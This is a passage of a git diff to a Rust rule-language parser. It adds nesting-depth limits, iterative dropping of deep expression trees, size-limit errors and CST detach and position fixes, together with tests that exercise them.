Left-hand side. pub lhs: Expr<'src>, /// Right-hand side. pub rhs: Expr<'src>, } +impl<'src> BinaryExpr<'src> { + pub fn new(lhs: Expr<'src>, rhs: Expr<'src>) -> Self { + Self { span: lhs.span().combine(&rhs.span()), lhs, rhs } + } +} + /// An expression with multiple operands. #[derive(Debug)] pub struct NAryExpr<'src> { + span: Span, pub operands: Vec>, } impl<'src> NAryExpr<'src> { + pub fn new(lhs: Expr<'src>, rhs: Expr<'src>) -> Self { + Self { + span: lhs.span().combine(&rhs.span()), + operands: vec![lhs, rhs], + } + } + #[inline] pub fn operands(&self) -> Iter<'_, Expr<'src>> { self.operands.iter() @@ -1026,6 +1125,7 @@ impl<'src> NAryExpr<'src> { #[inline] pub fn add(&mut self, expr: Expr<'src>) { + self.span = self.span.combine(&expr.span()); self.operands.push(expr); } @@ -1049,7 +1149,8 @@ impl<'src> NAryExpr<'src> { impl<'src> From>> for NAryExpr<'src> { fn from(value: Vec>) -> Self { - Self { operands: value } + let span = (&value).span(); + Self { span, operands: value } } } @@ -1348,13 +1449,13 @@ impl WithSpan for UnaryExpr<'_> { impl WithSpan for BinaryExpr<'_> { fn span(&self) -> Span { - self.lhs.span().combine(&self.rhs.span()) + self.span.clone() } } impl WithSpan for NAryExpr<'_> { fn span(&self) -> Span { - self.first().span().combine(&self.last().span()) + self.span.clone() } } @@ -1464,3 +1565,104 @@ impl WithSpan for Expr<'_> { } } } + +#[inline] +fn drain_binary_expr<'src>( + expr: &mut BinaryExpr<'src>, + stack: &mut Vec>, +) { + // `Expr::False` is a leaf and is also used as the placeholder left behind + // in `lhs` and `rhs`; skipping it avoids re-pushing placeholders when an + // already-drained `BinaryExpr` finishes dropping. + if !matches!(expr.lhs, Expr::False { .. }) { + stack.push(std::mem::replace( + &mut expr.lhs, + Expr::False { span: Span(0..0) }, + )); + } + if !matches!(expr.rhs, Expr::False { .. }) { + stack.push(std::mem::replace( + &mut expr.rhs, + Expr::False { span: Span(0..0) }, + )); + } +} + +fn drop_exprs(mut stack: Vec>) { + while let Some(expr) = stack.pop() { + match expr { + Expr::Shl(mut e) + | Expr::Shr(mut e) + | Expr::BitwiseAnd(mut e) + | Expr::BitwiseOr(mut e) + | Expr::BitwiseXor(mut e) + | Expr::Eq(mut e) + | Expr::Ne(mut e) + | Expr::Lt(mut e) + | Expr::Gt(mut e) + | Expr::Le(mut e) + | Expr::Ge(mut e) + | Expr::Contains(mut e) + | Expr::IContains(mut e) + | Expr::StartsWith(mut e) + | Expr::IStartsWith(mut e) + | Expr::EndsWith(mut e) + | Expr::IEndsWith(mut e) + | Expr::IEquals(mut e) + | Expr::Matches(mut e) => { + drain_binary_expr(&mut e, &mut stack); + } + + Expr::FieldAccess(mut e) + | Expr::And(mut e) + | Expr::Or(mut e) + | Expr::Add(mut e) + | Expr::Sub(mut e) + | Expr::Mul(mut e) + | Expr::Div(mut e) + | Expr::Mod(mut e) => { + stack.append(&mut e.operands); + } + + // All other AST constructs advance CST nesting depth in the + // parser, which is bounded by `MAX_CST_DEPTH`, so their compiler- + // generated drop glue cannot overflow the call stack. + _ => {} + } + } +} + +/// Drops nested [`BinaryExpr`] trees iteratively instead of relying on +/// compiler-generated recursive drop glue. +/// +/// Flat binary operator chains (such as `1 | 1 | 1 | ...`) have shallow CSTs, +/// so `Builder`'s iterative Pratt parser can fold them into arbitrarily deep +/// [`BinaryExpr`] trees on the heap before `Builder::check_ast_depth` rejects +/// the condition (or before a syntax error mid-expression aborts AST +/// construction). Without an iterative `Drop`, discarding that tree would +/// recurse down the spine on the call stack and cause a stack overflow. +impl Drop for BinaryExpr<'_> { + fn drop(&mut self) { + let mut stack = Vec::new(); + drain_binary_expr(self, &mut stack); + drop_exprs(stack); + } +} + +/// Drops nested [`NAryExpr`] trees iteratively instead of relying on compiler- +/// generated recursive drop glue. +/// +/// Alternating associative operator chains (such as `1 + 1 - 1 + 1 - ...`) +/// have shallow CSTs, so `Builder`'s iterative Pratt parser can fold them into +/// arbitrarily deep [`NAryExpr`] trees on the heap before +/// `Builder::check_ast_depth` rejects the condition (or before a syntax error +/// mid-expression aborts AST construction). Without an iterative `Drop`, +/// discarding that tree would recurse down the spine on the call stack and +/// cause a stack overflow. +impl Drop for NAryExpr<'_> { + fn drop(&mut self) { + if !self.operands.is_empty() { + drop_exprs(std::mem::take(&mut self.operands)); + } + } +} diff --git a/parser/src/ast/tests.rs b/parser/src/ast/tests.rs index e00d25546..0d717e0c2 100644 --- a/parser/src/ast/tests.rs +++ b/parser/src/ast/tests.rs @@ -104,3 +104,30 @@ fn ast_dfs() { assert!(enter_count > 0); assert_eq!(enter_count, leave_count); } + +#[test] +fn deep_expr_span_and_drop() { + use crate::ast::{BinaryExpr, Expr, NAryExpr, WithSpan}; + + // Build 100,000-deep `BinaryExpr` and `NAryExpr` trees directly; both + // `span()` and `Drop` must run in O(1) stack space without overflowing + // the thread stack. + let mut expr = Expr::True { span: Span(0..4) }; + for i in 1..=100_000u32 { + let rhs = Expr::True { span: Span(i..i + 4) }; + expr = Expr::BitwiseOr(Box::new(BinaryExpr::new(expr, rhs))); + } + + assert_eq!(expr.span(), Span(0..100_004)); + drop(expr); + + let mut expr = Expr::True { span: Span(0..4) }; + for i in 1..=100_000u32 { + let rhs = Expr::True { span: Span(i..i + 4) }; + let nary = Box::new(NAryExpr::new(expr, rhs)); + expr = if i % 2 == 0 { Expr::Add(nary) } else { Expr::Sub(nary) }; + } + + assert_eq!(expr.span(), Span(0..100_004)); + drop(expr); +} diff --git a/parser/src/cst/mod.rs b/parser/src/cst/mod.rs index 42f26d283..02bb1d618 100644 --- a/parser/src/cst/mod.rs +++ b/parser/src/cst/mod.rs @@ -311,6 +311,7 @@ where /// Creates a [`CST`] from the given [`CSTStream`]. fn try_from(cst: CSTStream<'src, I>) -> Result { let source = cst.source(); + let lossless = cst.whitespaces && cst.newlines && cst.comments; let mut builder = rowan::GreenNodeBuilder::new(); let mut prev_token_span: Option = None; let mut errors = Vec::new(); @@ -320,16 +321,27 @@ where Event::Begin { kind, .. } => builder.start_node(kind.into()), Event::End { .. } => builder.finish_node(), Event::Token { kind, span } => { - // Make sure that the CST covers the whole source code, - // each must start where the previous one ended. + // When all trivia tokens are retained, the CST must cover + // the whole source code without gaps. When trivia filtering + // is enabled on `CSTStream`, skipped trivia creates + // expected gaps (`prev_token_span.end() <= span.start()`). if let Some(prev_token_span) = prev_token_span { - assert_eq!( - prev_token_span.end(), - span.start(), - "gap in the CST, one token ends at {} and the next one starts at {}", - prev_token_span.end(), - span.start(), - ); + if lossless { + assert_eq!( + prev_token_span.end(), + span.start(), + "gap in the CST, one token ends at {} and the next one starts at {}", + prev_token_span.end(), + span.start(), + ); + } else { + assert!( + prev_token_span.end() <= span.start(), + "overlapping tokens in the CST, one token ends at {} and the next one starts at {}", + prev_token_span.end(), + span.start(), + ); + } } // The span must be within the source code, this unwrap // can't fail. @@ -770,13 +782,17 @@ impl Debug for Token { impl Token { #[inline] - /// Detach the token from the CST it belongs to. - pub fn detach(&self) { - self.inner.detach() + /// Detach the token from the CST it belongs to, returning the new root node. + pub fn detach(&self) -> Option> { + let parent = self.inner.parent()?; + let new_parent_green = parent.green().remove_child(self.inner.index()); + Some(Node::new(rowan::SyntaxNode::new_root( + parent.replace_with(new_parent_green), + ))) } pub fn replace(&mut self, text: &str) -> Node { - Node::new(rowan::SyntaxNode::new_root_mut( + Node::new(rowan::SyntaxNode::new_root( self.inner.replace_with(rowan::GreenToken::new( self.kind().into(), text, @@ -891,7 +907,7 @@ impl NodeOrToken { impl NodeOrToken { /// Detach the node or token from the CST it belongs to. - pub fn detach(&self) { + pub fn detach(&self) -> Option> { match self { NodeOrToken::Node(n) => n.detach(), NodeOrToken::Token(t) => t.detach(), @@ -970,13 +986,41 @@ impl Node { /// Returns the position (line and column) where this node starts. #[inline] pub fn start_pos(&self) -> Position { - self.first_token().unwrap().start_pos() + if let Some(tok) = self.first_token() { + tok.start_pos() + } else { + self.empty_node_pos() + } } /// Returns the position (line and column) where this node ends. #[inline] pub fn end_pos(&self) -> Position { - self.last_token().unwrap().end_pos() + if let Some(tok) = self.last_token() { + tok.end_pos() + } else { + self.empty_node_pos() + } + } + + /// Computes the `(line, column)` position of a node that contains no + /// descendant tokens (such as the root of an empty source file, a + /// trivia-filtered node, or a node whose tokens were detached) by locating + /// the closest preceding token in the CST. + fn empty_node_pos(&self) -> Position { + for ancestor in iter::once(self.clone()).chain(self.ancestors()) { + for sibling in ancestor.siblings_with_tokens(Direction::Prev) { + match sibling { + NodeOrToken::Token(tok) => return tok.end_pos(), + NodeOrToken::Node(node) => { + if let Some(tok) = node.last_token() { + return tok.end_pos(); + } + } + } + } + } + Position::from((0, 0)) } /// Returns the parent of this node. @@ -1337,14 +1381,18 @@ impl Node { impl Node { /// Converts an immutable node into a mutable one. pub fn into_mut(self) -> Node { - Node::new(self.inner.clone_for_update()) + Node::new(self.inner) } } impl Node { - /// Detach the node from the CST it belongs to. - pub fn detach(&self) { - self.inner.detach() + /// Detach the node from the CST it belongs to, returning the new root node. + pub fn detach(&self) -> Option> { + let parent = self.inner.parent()?; + let new_parent_green = parent.green().remove_child(self.inner.index()); + Some(Node::new(rowan::SyntaxNode::new_root( + parent.replace_with(new_parent_green), + ))) } } diff --git a/parser/src/cst/tests.rs b/parser/src/cst/tests.rs index aa1f337fb..6e2bef4ec 100644 --- a/parser/src/cst/tests.rs +++ b/parser/src/cst/tests.rs @@ -162,10 +162,10 @@ fn cst_4() { let cst: CST = Parser::new(b"rule test { condition: true }").try_into().unwrap(); - let source_file = cst.root().into_mut(); + let mut source_file = cst.root().into_mut(); // Detach the first token, which is the `rule` keyword. - source_file.first_token().unwrap().detach(); + source_file = source_file.first_token().unwrap().detach().unwrap(); // After detaching the `rule` keyword, the first token is the // whitespace that comes after the keyword. @@ -175,7 +175,7 @@ fn cst_4() { ); // Detach the last token, which is the closing }. - source_file.last_token().unwrap().detach(); + source_file = source_file.last_token().unwrap().detach().unwrap(); // After detaching the closing }, the first token is the // whitespace that comes before. @@ -184,11 +184,12 @@ fn cst_4() { Some(SyntaxKind::WHITESPACE) ); - // Detach the first child of token of SOURCE_CODE, this node has a single + // Detach the first child or token of SOURCE_FILE, this node has a single // child that is the RULE_DECL node. - source_file.first_child_or_token().unwrap().detach(); + source_file = + source_file.first_child_or_token().unwrap().detach().unwrap(); - // After detaching the RULE_DECL node, SOURCE_CODE is empty. + // After detaching the RULE_DECL node, SOURCE_FILE is empty. assert_eq!(source_file.last_token().map(|x| x.kind()), None); } @@ -541,3 +542,62 @@ fn cst_recovery_and_error_merging() { } assert!(has_error); } + +#[test] +fn cst_try_from_filtered_stream() { + let src = br#" +/* header comment */ +rule test { + condition: true // trailing comment +} +"#; + + let stream = CSTStream::from(Parser::new(src)) + .whitespaces(false) + .newlines(false) + .comments(false); + let cst = CST::try_from(stream).unwrap(); + + assert_eq!(cst.root().text(), "ruletest{condition:true}"); +} + +#[test] +fn empty_node_positions() { + use crate::cst::Position; + + // Empty source file root node has no tokens. + let empty_cst = CST::from(""); + assert_eq!(empty_cst.root().start_pos::(), Position::from((0, 0))); + assert_eq!(empty_cst.root().end_pos::(), Position::from((0, 0))); + assert_eq!(empty_cst.root().start_pos::(), Position::from((0, 0))); + assert_eq!(empty_cst.root().end_pos::(), Position::from((0, 0))); + + // Trivia-only file converted with all trivia filtered out also has no tokens. + let trivia_only = CST::try_from( + CSTStream::from(Parser::new(b" \n/* comment */\n")) + .whitespaces(false) + .newlines(false) + .comments(false), + ) + .unwrap(); + assert_eq!(trivia_only.root().start_pos::(), Position::from((0, 0))); + assert_eq!(trivia_only.root().end_pos::(), Position::from((0, 0))); + + // Interior node whose tokens were all detached reports the end position of + // the nearest preceding token. + let cst = CST::from("rule test {\n condition: true\n}"); + let mut root = cst.root().into_mut(); + loop { + let cond_blk = root + .first_child() + .unwrap() + .first_child() + .expect("CONDITION_BLK still present"); + let Some(tok) = cond_blk.first_token() else { break }; + root = tok.detach().unwrap(); + } + let empty_cond = root.first_child().unwrap().first_child().unwrap(); + assert_eq!(empty_cond.kind(), SyntaxKind::CONDITION_BLK); + assert_eq!(empty_cond.start_pos::(), Position::from((1, 2))); + assert_eq!(empty_cond.end_pos::(), Position::from((1, 2))); +} diff --git a/parser/src/parser/mod.rs b/parser/src/parser/mod.rs index f619423dd..050e1249f 100644 --- a/parser/src/parser/mod.rs +++ b/parser/src/parser/mod.rs @@ -53,6 +53,18 @@ impl<'src> Parser<'src> { Self { parser: ParserImpl::from(Tokenizer::new(source)) } } + #[cfg(test)] + pub(crate) fn new_with_max_size( + source: &'src [u8], + max_size: usize, + ) -> Self { + Self { + parser: ParserImpl::from(Tokenizer::new_with_max_size( + source, max_size, + )), + } + } + /// Returns the source code passed to the parser. #[inline] pub fn source(&self) -> &'src [u8] { @@ -90,6 +102,13 @@ impl<'src> Parser<'src> { } } +/// Maximum allowed nesting depth of CST nodes produced by [`ParserImpl`]. +/// +/// Bounding CST depth protects the recursive PEG parser and downstream +/// recursive CST/AST/IR passes from overflowing the call stack on deeply +/// nested rules. +pub(crate) const MAX_CST_DEPTH: usize = 1000; + /// Describes the state of the parser. enum State { /// Indicates that the parser is as the start of the input. @@ -104,6 +123,9 @@ enum State { /// The parser is out fuel. See the `fuel` field in [`ParserImpl`] for /// details. OutOfFuel, + /// The parser reached [`MAX_CST_DEPTH`]. Backtracking is aborted until + /// unwinding returns to a top-level rule section. + MaxDepthReached, } /// Internal implementation of the parser. The [`Parser`] type is only a @@ -129,8 +151,7 @@ pub(crate) struct ParserImpl<'src> { /// How deep is the parse into "not" branches of the grammar. not_depth: usize, - /// How deep is the parser into grammar branches. - #[cfg(feature = "logging")] + /// How deep is the parser into grammar branches (open `Begin` nodes). depth: usize, /// Hash map where keys are tuples (Span, TokenId) identifying a token in @@ -211,16 +232,19 @@ pub(crate) struct ParserImpl<'src> { impl<'src> From> for ParserImpl<'src> { /// Creates a new parser that receives tokens from the given [`Tokenizer`]. fn from(tokenizer: Tokenizer<'src>) -> Self { + let mut output = SyntaxStream::new(); + if tokenizer.source_too_large() { + output.push_error("source file is too large", Span(0..0)); + } Self { tokens: TokenStream::new(tokenizer), - output: SyntaxStream::new(), + output, pending_errors: Vec::new(), expected_token_errors: FxHashMap::default(), unexpected_token_errors: FxHashSet::default(), cache: FxHashSet::default(), opt_depth: 0, not_depth: 0, - #[cfg(feature = "logging")] depth: 0, state: State::StartOfInput, fuel: 100_000_000, @@ -233,12 +257,13 @@ impl Iterator for ParserImpl<'_> { type Item = Event; fn next(&mut self) -> Option { + let source_span_end = self.tokens.source().len().min(Span::MAX) as u32; match self.state { State::StartOfInput => { self.state = State::OK; Some(Event::Begin { kind: SOURCE_FILE, - span: Span(0..self.tokens.source().len() as u32), + span: Span(0..source_span_end), }) } State::EndOfInput => None, @@ -261,9 +286,12 @@ impl Iterator for ParserImpl<'_> { { let _ = self.trivia(); let _ = self.top_level_item(); + debug_assert_eq!(self.depth, 0); self.flush_errors(); self.cache.clear(); - self.set_state(State::OK); + if !matches!(self.state, State::OutOfFuel) { + self.state = State::OK; + } } // If still there are no more tokens, we have reached the end of // the input. @@ -273,7 +301,7 @@ impl Iterator for ParserImpl<'_> { self.state = State::EndOfInput; Some(Event::End { kind: SOURCE_FILE, - span: Span(0..self.tokens.source().len() as u32), + span: Span(0..source_span_end), }) } } @@ -371,7 +399,10 @@ impl<'src> ParserImpl<'src> { /// Switches to hex pattern mode. fn enter_hex_pattern_mode(&mut self) -> &mut Self { - if matches!(self.state, State::Failure | State::OutOfFuel) { + if matches!( + self.state, + State::Failure | State::OutOfFuel | State::MaxDepthReached + ) { return self; } self.tokens.enter_hex_pattern_mode(); @@ -380,7 +411,10 @@ impl<'src> ParserImpl<'src> { /// Switches to hex jump mode. fn enter_hex_jump_mode(&mut self) -> &mut Self { - if matches!(self.state, State::Failure | State::OutOfFuel) { + if matches!( + self.state, + State::Failure | State::OutOfFuel | State::MaxDepthReached + ) { return self; } self.tokens.enter_hex_jump_mode(); @@ -388,9 +422,10 @@ impl<'src> ParserImpl<'src> { } /// Sets the parser state, except if the current state is - /// [`State::OutOfFuel`], in that case the state remains unchanged. + /// [`State::OutOfFuel`] or [`State::MaxDepthReached`], in that case the + /// state remains unchanged. fn set_state(&mut self, state: State) { - if !matches!(self.state, State::OutOfFuel) { + if !matches!(self.state, State::OutOfFuel | State::MaxDepthReached) { self.state = state; } } @@ -402,19 +437,39 @@ impl<'src> ParserImpl<'src> { self.trivia(); #[cfg(feature = "logging")] - { - debug!( - "{}{:?} -- next token: {}", - " ".repeat(self.depth), - kind, - self.tokens - .peek_token(0) - .map(|t| format!("{:?}", t)) - .unwrap_or_default() - ); - self.depth += 1; + debug!( + "{}{:?} -- next token: {}", + " ".repeat(self.depth), + kind, + self.tokens + .peek_token(0) + .map(|t| format!("{:?}", t)) + .unwrap_or_default() + ); + + if self.depth == MAX_CST_DEPTH && matches!(self.state, State::OK) { + self.state = State::MaxDepthReached; + // Clear speculative errors from earlier optional/alternative + // branches so recovery only emits the nesting error. + self.expected_token_errors.clear(); + self.unexpected_token_errors.clear(); + + let span = match self.peek_non_trivia() { + Some(token) => token.span(), + None => { + let last = self.tokens.source().len() as u32; + Span(last..last) + } + }; + + if !self.pending_errors.iter().any(|(s, _)| s == &span) { + self.pending_errors + .push((span, "nesting limit reached".to_string())); + } } + self.depth += 1; + if let Some(fuel) = self.fuel.checked_sub(1) { self.fuel = fuel; } else { @@ -428,17 +483,20 @@ impl<'src> ParserImpl<'src> { /// Indicates the end of the non-terminal symbol that was previously /// started with [`Parser::begin`]. fn end(&mut self) -> &mut Self { - #[cfg(feature = "logging")] - { - self.depth -= 1; - } - if matches!(self.state, State::Failure | State::OutOfFuel) { - if self.opt_depth == 0 { - self.handle_errors(); + self.depth -= 1; + match self.state { + State::Failure | State::OutOfFuel => { + if self.opt_depth == 0 { + self.handle_errors(); + } + self.output.end_with_error(); + } + State::MaxDepthReached => { + self.output.end_with_error(); + } + _ => { + self.output.end(); } - self.output.end_with_error(); - } else { - self.output.end(); } self } @@ -455,9 +513,18 @@ impl<'src> ParserImpl<'src> { return self; } + // If the maximum CST depth was reached, do not recover inside nested + // expressions (such as `for` or `with` bodies), as doing so would + // allow parsing to resume at high depth and hit the limit repeatedly. + // Only recover once unwinding has returned to the top-level rule + // sections (`self.depth <= 1`). + if matches!(self.state, State::MaxDepthReached) && self.depth > 1 { + return self; + } + let state_was_ok = matches!(self.state, State::OK); - self.set_state(State::OK); + self.state = State::OK; let token = match self.peek_non_trivia() { Some(token) => token, @@ -509,7 +576,10 @@ impl<'src> ParserImpl<'src> { /// Trivia tokens those that are not really part of the language, like /// whitespaces, newlines and comments. fn trivia(&mut self) -> &mut Self { - if matches!(self.state, State::Failure | State::OutOfFuel) { + if matches!( + self.state, + State::Failure | State::OutOfFuel | State::MaxDepthReached + ) { return self; } while let Some(token) = self.peek() { @@ -543,7 +613,10 @@ impl<'src> ParserImpl<'src> { ) -> &mut Self { debug_assert!(!expected_tokens.is_empty()); - if matches!(self.state, State::Failure | State::OutOfFuel) { + if matches!( + self.state, + State::Failure | State::OutOfFuel | State::MaxDepthReached + ) { return self; } @@ -632,7 +705,10 @@ impl<'src> ParserImpl<'src> { where P: Fn(&mut Self) -> &mut Self, { - if matches!(self.state, State::Failure | State::OutOfFuel) { + if matches!( + self.state, + State::Failure | State::OutOfFuel | State::MaxDepthReached + ) { return self; } @@ -644,7 +720,7 @@ impl<'src> ParserImpl<'src> { self.opt_depth -= 1; // Any error occurred while parsing the optional production is ignored. - if matches!(self.state, State::Failure) { + if matches!(self.state, State::Failure | State::MaxDepthReached) { self.set_state(State::OK); self.restore_bookmark(&bookmark); } @@ -660,7 +736,10 @@ impl<'src> ParserImpl<'src> { where P: Fn(&mut Self) -> &mut Self, { - if matches!(self.state, State::Failure | State::OutOfFuel) { + if matches!( + self.state, + State::Failure | State::OutOfFuel | State::MaxDepthReached + ) { return self; } @@ -676,6 +755,7 @@ impl<'src> ParserImpl<'src> { State::OK => State::Failure, State::Failure => State::OK, State::OutOfFuel => State::OutOfFuel, + State::MaxDepthReached => State::MaxDepthReached, _ => unreachable!(), }; @@ -717,7 +797,10 @@ impl<'src> ParserImpl<'src> { where P: Fn(&mut Self) -> &mut Self, { - if matches!(self.state, State::Failure | State::OutOfFuel) { + if matches!( + self.state, + State::Failure | State::OutOfFuel | State::MaxDepthReached + ) { return self; } match self.peek_non_trivia() { @@ -791,14 +874,20 @@ impl<'src> ParserImpl<'src> { where P: Fn(&mut Self) -> &mut Self, { - if matches!(self.state, State::Failure | State::OutOfFuel) { + if matches!( + self.state, + State::Failure | State::OutOfFuel | State::MaxDepthReached + ) { return self; } // The first N times that `f` is called it must match. for _ in 0..n { self.trivia(); parser(self); - if matches!(self.state, State::Failure | State::OutOfFuel) { + if matches!( + self.state, + State::Failure | State::OutOfFuel | State::MaxDepthReached + ) { return self; } } @@ -810,13 +899,17 @@ impl<'src> ParserImpl<'src> { self.opt_depth += 1; parser(self); self.opt_depth -= 1; - if matches!(self.state, State::Failure | State::OutOfFuel) { - self.set_state(State::OK); - self.restore_bookmark(&bookmark); - self.remove_bookmark(bookmark); - break; - } else { - self.remove_bookmark(bookmark); + match self.state { + State::OK => { + self.remove_bookmark(bookmark); + } + State::Failure | State::OutOfFuel | State::MaxDepthReached => { + self.set_state(State::OK); + self.restore_bookmark(&bookmark); + self.remove_bookmark(bookmark); + break; + } + _ => unreachable!(), } } self @@ -827,7 +920,10 @@ impl<'src> ParserImpl<'src> { where P: Fn(&mut Self) -> &mut Self, { - if matches!(self.state, State::Failure | State::OutOfFuel) { + if matches!( + self.state, + State::Failure | State::OutOfFuel | State::MaxDepthReached + ) { return self; } self.trivia(); @@ -839,7 +935,10 @@ impl<'src> ParserImpl<'src> { where P: Fn(&mut Self) -> &mut Self, { - if matches!(self.state, State::Failure | State::OutOfFuel) { + if matches!( + self.state, + State::Failure | State::OutOfFuel | State::MaxDepthReached + ) { return self; } @@ -860,6 +959,8 @@ impl<'src> ParserImpl<'src> { } fn flush_errors(&mut self) { + self.expected_token_errors.clear(); + self.unexpected_token_errors.clear(); for (span, error) in self.pending_errors.drain(0..) { self.output.push_error(error, span); } @@ -1839,7 +1940,10 @@ impl<'a, 'src> Alt<'a, 'src> { where P: Fn(&'a mut ParserImpl<'src>) -> &'a mut ParserImpl<'src>, { - if matches!(self.parser.state, State::Failure | State::OutOfFuel) { + if matches!( + self.parser.state, + State::Failure | State::OutOfFuel | State::MaxDepthReached + ) { return self; } // Don't try to match the current alternative if a previous one already @@ -1856,7 +1960,7 @@ impl<'a, 'src> Alt<'a, 'src> { } // The current alternative didn't match, restore the token // stream to the position it has before trying to match. - State::Failure => { + State::Failure | State::MaxDepthReached => { self.parser.set_state(State::OK); self.parser.restore_bookmark(&self.bookmark); } diff --git a/parser/src/parser/tests/mod.rs b/parser/src/parser/tests/mod.rs index 384349634..1f0c27361 100644 --- a/parser/src/parser/tests/mod.rs +++ b/parser/src/parser/tests/mod.rs @@ -135,3 +135,192 @@ rule test_2 { condition: true }"; assert_eq!(&ast.errors()[0], &Error::InvalidUTF8(Span(33..34))); assert_eq!(ast.rules().count(), 1); } + +#[test] +fn clear_speculative_errors_after_top_level_item() { + let rules = br#" +rule test_1 { + condition: + true +} +rule test_2 { + condition: + true +} +"#; + + let mut parser = Parser::new(rules.as_slice()); + // Give the parser just enough fuel to finish parsing `test_1` (5 `begin` + // calls: RULE_DECL, RULE_MODS, CONDITION_BLK, BOOLEAN_EXPR, BOOLEAN_TERM), + // so that it runs out of fuel at the very first `begin(RULE_DECL)` of + // `test_2`. When `test_2` aborts with `State::OutOfFuel`, `end()` invokes + // `handle_errors()`. If speculative errors from `test_1` were not cleared + // in `flush_errors()`, `handle_errors()` would emit a spurious syntax error + // (`expecting operator, found `}`) pointing back to the closing brace of + // the valid `test_1` rule. + parser.parser.fuel = 5; + + let errors: Vec<_> = parser + .filter_map(|event| match event { + crate::cst::Event::Error { message, span } => { + Some((message, span)) + } + _ => None, + }) + .collect(); + + assert!(errors.is_empty(), "unexpected errors emitted: {errors:?}"); +} + +#[test] +fn nesting_error() { + let source = format!( + "rule test_1 {{ condition: {}true{} }}\nrule test_2 {{ condition: true }}", + "(".repeat(505), + ")".repeat(505), + ); + + let cst = CST::try_from(Parser::new(source.as_bytes())).unwrap(); + assert_eq!(cst.root().text().len(), source.len()); + + let ast = AST::from(source.as_str()); + assert_eq!( + ast.errors(), + &[Error::SyntaxError { + message: "nesting limit reached".to_string(), + span: Span(522..523), + }] + ); + assert_eq!(ast.rules().count(), 1); + + // Flat CST chain of `BinaryExpr` operators (`|`) exceeding `MAX_AST_DEPTH`. + let source = format!( + "rule test_1 {{ condition: -({}) == 0 }}\nrule test_2 {{ condition: true }}", + vec!["1"; 25_000].join(" | ") + ); + let ast = AST::from(source.as_str()); + assert_eq!( + ast.errors(), + &[Error::SyntaxError { + message: "nesting limit reached".to_string(), + span: Span(27..96032), + }] + ); + assert_eq!(ast.rules().count(), 1); + + // Alternating same-precedence `NAryExpr` operators (`+` / `-`) cannot be + // flattened into a single `NAryExpr`, so they also hit `MAX_AST_DEPTH`. + let source = format!( + "rule test_1 {{ condition: {} == 0 }}\nrule test_2 {{ condition: true }}", + "1 + 1 - ".repeat(1_000) + "1" + ); + let ast = AST::from(source.as_str()); + assert_eq!( + ast.errors(), + &[Error::SyntaxError { + message: "nesting limit reached".to_string(), + span: Span(25..4030), + }] + ); + assert_eq!(ast.rules().count(), 1); + + // Parenthesized sub-chains accumulate their AST depth across parentheses. + let chunk = vec!["1"; 400].join(" | "); + let source = format!( + "rule test_1 {{ condition: (({chunk}) | {chunk}) | {chunk} == 0 }}\nrule test_2 {{ condition: true }}", + ); + let ast = AST::from(source.as_str()); + assert_eq!(ast.errors().len(), 1); + assert!(matches!( + &ast.errors()[0], + Error::SyntaxError { message, .. } if message == "nesting limit reached" + )); + assert_eq!(ast.rules().count(), 1); + + // Homogeneous `NAryExpr` chains (`1 + 1 + 1 + ...`) flatten into a single + // `NAryExpr` node of depth 2 and must NOT hit `MAX_AST_DEPTH`. + let source = format!( + "rule test_1 {{ condition: {} == 2000 }}", + vec!["1"; 2_000].join(" + ") + ); + let ast = AST::from(source.as_str()); + assert!(ast.errors().is_empty()); + assert_eq!(ast.rules().count(), 1); +} + +#[test] +fn string_lit_escape_error_spans_and_synthetic_incomplete_escape() { + // Invalid `\x` after a non-zero `first_backslash` and earlier valid escape. + let src = r#"rule r { condition: "prefix\nmid\x1" == "" }"#; + let ast = AST::from(src); + assert_eq!( + ast.errors(), + &[Error::InvalidEscapeSequence { + message: r"expecting two hex digits after `\x`".to_string(), + span: Span(32..34), + }] + ); + + // Invalid unknown escape in a multi-line string literal after `first_backslash`. + let src_multi = + "rule r { condition: \"\"\"abc\\ndef\\qghi\"\"\" == \"\" }"; + let ast_multi = AST::from(src_multi); + assert_eq!( + ast_multi.errors(), + &[Error::InvalidEscapeSequence { + message: r"invalid escape sequence `\q`".to_string(), + span: Span(31..33), + }] + ); + + // Synthetic CST stream with a trailing bare `\` inside `STRING_LIT` (where + // `allow_escape_char == true`) must report `InvalidEscapeSequence` instead + // of panicking. + let template_src = br#"rule r { meta: m = "abcx" condition: true }"#; + let synthetic_src = br#"rule r { meta: m = "abc\" condition: true }"#; + let events: Vec<_> = Parser::new(template_src.as_slice()).collect(); + let ast_syn = AST::new(synthetic_src.as_slice(), events.into_iter()); + assert_eq!( + ast_syn.errors(), + &[Error::InvalidEscapeSequence { + message: "incomplete escape sequence".to_string(), + span: Span(23..24), + }] + ); +} + +#[test] +fn source_too_large_error() { + let source = b"rule test { condition: true }"; + + for max_size in [source.len(), source.len() - 1, 1] { + let parser = Parser::new_with_max_size(source, max_size); + assert_eq!(parser.source(), source.as_slice()); + + let ast = AST::from(parser); + assert_eq!(ast.rules().count(), 0); + assert_eq!( + ast.errors(), + &[Error::SyntaxError { + message: "source file is too large".to_string(), + span: Span(0..0), + }] + ); + + let cst = CST::try_from(Parser::new_with_max_size(source, max_size)) + .unwrap(); + assert_eq!(cst.root().text(), ""); + let has_err = cst.iter().any(|e| { + e == crate::cst::Event::Error { + message: "source file is too large".to_string(), + span: Span(0..0), + } + }); + assert!(has_err); + } + + // Input strictly smaller than `max_size` parses normally. + let ast = AST::from(Parser::new_with_max_size(source, source.len() + 1)); + assert!(ast.errors().is_empty()); + assert_eq!(ast.rules().count(), 1); +} diff --git a/parser/src/tokenizer/mod.rs b/parser/src/tokenizer/mod.rs index 687b707e1..84768bf84 100644 --- a/parser/src/tokenizer/mod.rs +++ b/parser/src/tokenizer/mod.rs @@ -64,20 +64,41 @@ pub struct Tokenizer<'src> { /// at the "c", from the lexer standpoint the span for the "c" is 0..1, /// but `lexer_starting_pos` will be 2, so the real span for "c" is 2..3. lexer_starting_pos: usize, + /// True if `source.len()` reached or exceeded the maximum representable + /// [`Span`] offset (`Span::MAX`). + source_too_large: bool, } impl<'src> Tokenizer<'src> { /// Creates a new [`Tokenizer`]. pub fn new(source: &'src [u8]) -> Self { - // Can't handle source files greater than the maximum span size. - assert!(source.len() < Span::MAX); + Self::new_with_max_size(source, Span::MAX) + } + + pub(crate) fn new_with_max_size( + source: &'src [u8], + max_size: usize, + ) -> Self { + // Source files with `len >= max_size` (normally `Span::MAX`, i.e. + // `u32::MAX`) cannot have their byte offsets represented in `Span`. + // Initialize an empty lexer so `Parser` emits a structured syntax + // error instead of panicking on `u32` span conversion. + let source_too_large = source.len() >= max_size; + let lexer_source = if source_too_large { &[] } else { source }; Self { source, lexer_starting_pos: 